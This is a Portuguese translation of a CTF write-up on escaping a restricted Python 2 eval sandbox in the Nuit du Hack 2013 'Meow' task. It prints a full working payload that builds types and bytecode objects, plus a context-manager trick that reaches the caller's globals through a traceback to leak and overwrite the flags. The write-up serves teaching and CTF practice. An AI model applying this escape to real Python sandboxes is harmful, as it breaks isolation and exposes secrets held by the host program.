Sandbox Escape com Python

Em antecipação ao início do curso “Desenvolvedor Python. Profissional ” preparou uma tradução, embora não a mais recente, mas a partir deste artigo não menos interessante. Leitura feliz!






Ontem aconteceu a rodada de qualificação do Nuit du Hack CTF 2013. Como de costume, em algumas notas irei falar sobre tarefas e / ou soluções interessantes deste CTF. Se você quiser saber mais, meu colega de equipe w4kfu também deve postar em seu blog em breve.



TL; DR:



auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())




Uma das tarefas, chamada "Meow" , nos oferece um shell remoto limitado com Python, onde a maioria dos módulos integrados são desativados:



{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}


Várias funções estavam disponíveis, a saber kitty(), produzir a imagem do gato em ASCII e auth(password). Presumi que precisávamos ignorar a autenticação e encontrar uma senha. Infelizmente, nossos comandos Python são passados ​​em evalmodo de expressão, o que significa que não podemos usar nenhum operador: nem o operador de atribuição, nem imprimir, nem definições de função / classe, etc. A situação ficou mais complicada. Teremos que usar a magia do Python (haverá muito dela neste post, eu prometo).



A princípio, presumi que estava authapenas comparando a senha a uma string constante. Nesse caso, eu poderia usar um objeto personalizado modificado de __eq__forma que ele sempre retorneTrue... No entanto, você não pode simplesmente pegar e criar tal objeto. Não podemos definir nossas próprias classes por meio de uma classe Foo, uma vez que não podemos modificar um objeto já existente (sem atribuição). É aqui que começa a mágica do Python: podemos instanciar diretamente um objeto de tipo para criar um objeto de classe e, em seguida, instanciar esse objeto de classe. Veja como é feito:



type('MyClass', (), {'__eq__': lambda self: True})


No entanto, não podemos usar o tipo aqui, ele não é definido nos módulos integrados. Podemos usar um truque diferente: cada objeto Python possui um atributo __class__que nos fornece o tipo do objeto. Por exemplo, ‘’.__class__isso str. Mas o que é mais interessante: str.__class__é o tipo. Portanto, podemos usar ''.__class__.__class__para criar um novo tipo.



Infelizmente, a função authnão apenas compara nosso objeto a uma string. Ele faz muitas outras operações com ele: ele o divide em 14 caracteres, pega o comprimento len()e o chama reducecom um lambda estranho. Sem código, é difícil descobrir como fazer um objeto que se comporte da maneira que a função deseja, e não gosto de adivinhar. Mais magia necessária!



Vamos adicionar objetos de código. Na verdade, as funções em Python também são objetos, que consistem em um objeto de código e uma captura de suas variáveis ​​globais. O objeto de código contém o bytecode desta função e os objetos constantes aos quais se refere, algumas strings, nomes e outros metadados (número de argumentos, número de objetos locais, tamanho da pilha, mapeamento de bytecode para número de linha). Você pode obter o objeto de código de função com myfunc.func_code. Isso restrictedé proibido no modo interpretador Python, portanto, não podemos ver o código da função auth. No entanto, podemos criar nossas próprias funções da mesma forma que criamos nossos próprios tipos!



Você pode perguntar, por que usar objetos de código para criar funções quando já temos um lambda? É simples: lambdas não podem conter operadores. E as funções geradas aleatoriamente podem! Por exemplo, podemos criar uma função que produza seu argumento para stdout:



ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42


No entanto, há um pequeno problema aqui: para obter o tipo do objeto de código, você precisa acessar o atributo func_code, que é limitado. Felizmente, podemos usar um pouco mais da magia do Python para encontrar nosso tipo sem acessar atributos proibidos.



Em Python, um objeto de um tipo possui um atributo __bases__que retorna uma lista de todas as suas classes básicas. Ele também possui um método __subclasses__que retorna uma lista de todos os tipos herdados dele. Se usarmos __bases__em um tipo aleatório, podemos chegar ao topo da hierarquia de tipo de objeto e, em seguida, ler as subclasses de objeto para obter uma lista de todos os tipos definidos no interpretador:



>>> len(().__class__.__bases__[0].__subclasses__())
81


Podemos então usar essa lista para encontrar nossos tipos functione code:



>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>


Agora que podemos construir qualquer função que quisermos, o que podemos fazer? Podemos acessar diretamente arquivos inline ilimitados: as funções que criamos ainda são executadas no restricted-ambiente. Podemos obter uma função não isolada: a função authchama um método no __len__objeto que passamos como parâmetro. No entanto, isso não é suficiente para escapar da sandbox: nossas variáveis ​​globais ainda são as mesmas e não podemos, por exemplo, importar um módulo. Eu estava tentando olhar para todas as classes que poderíamos acessar com__subclasses__para ver se podemos obter um link para um módulo útil por meio dele, sem sucesso. Mesmo receber uma chamada para uma de nossas funções criadas através do reator não foi suficiente. Poderíamos tentar obter um objeto traceback e usá-lo para visualizar os quadros de pilha das funções de chamada, mas a única maneira fácil de obter um objeto traceback é por meio de módulos inspectou sysque não podemos importar. Depois que me deparei com esse problema, troquei para outros, dormi muito e acordei com a solução certa!



Na verdade, não há outra maneira de obter um objeto de rastreamento na biblioteca padrão Python sem usar: context manager. Eles eram um novo recurso no Python 2.6 que permite obter algum tipo de escopo orientado a objetos no Python:



class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>


Podemos criar um objeto context managerque usará o objeto traceback passado __exit__para exibir as variáveis ​​globais para a função de chamada que está fora da sandbox. Para fazer isso, usamos combinações de todos os nossos truques anteriores. Criamos um tipo anônimo que define __enter__um lambda simples e __exit__um lambda que se refere ao que queremos no rastreamento e o passa para nosso lambda de saída (lembre-se de que não podemos usar operadores):



''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()


Precisamos cavar mais fundo! Agora precisamos usar este context manager(que chamaremos ctxnos seguintes trechos de código) em uma função que levantará propositalmente um erro em um bloco with:



def f(self):
    with ctx:
        raise 42


Em seguida, colocamos fcomo __len__nosso objeto criado, que passamos para a função auth:



auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())


Vamos voltar ao início do artigo e lembrar sobre o código incorporado "real". Quando executado no servidor, isso faz com que o interpretador Python execute nossa função f, passe pela criada context manager __exit__, que acessará as variáveis ​​globais de nosso método de chamada, onde existem dois valores interessantes:



'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'


Duas bandeiras ?! Acontece que o mesmo serviço foi usado para duas tarefas consecutivas. Morte dupla!



Para nos divertirmos mais acessando variáveis ​​globais, podemos fazer mais do que apenas ler: podemos mudar os sinalizadores! O uso dos f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })sinalizadores mudará até a próxima reinicialização do servidor. Aparentemente, os organizadores não planejaram isso.



De qualquer forma, ainda não sei como deveríamos resolver esse problema de maneira normal, mas acho que essa solução universal é uma boa maneira de apresentar aos leitores a magia negra do Python. Use-o com cuidado, é fácil forçar o Python a fazer a segmentação com os objetos de código gerados (usar o interpretador Python e executar o shellcode x86 por meio do bytecode gerado é deixado para o leitor). Obrigado aos organizadores do Nuit du Hack por uma bela tarefa.







Consulte Mais informação






All Articles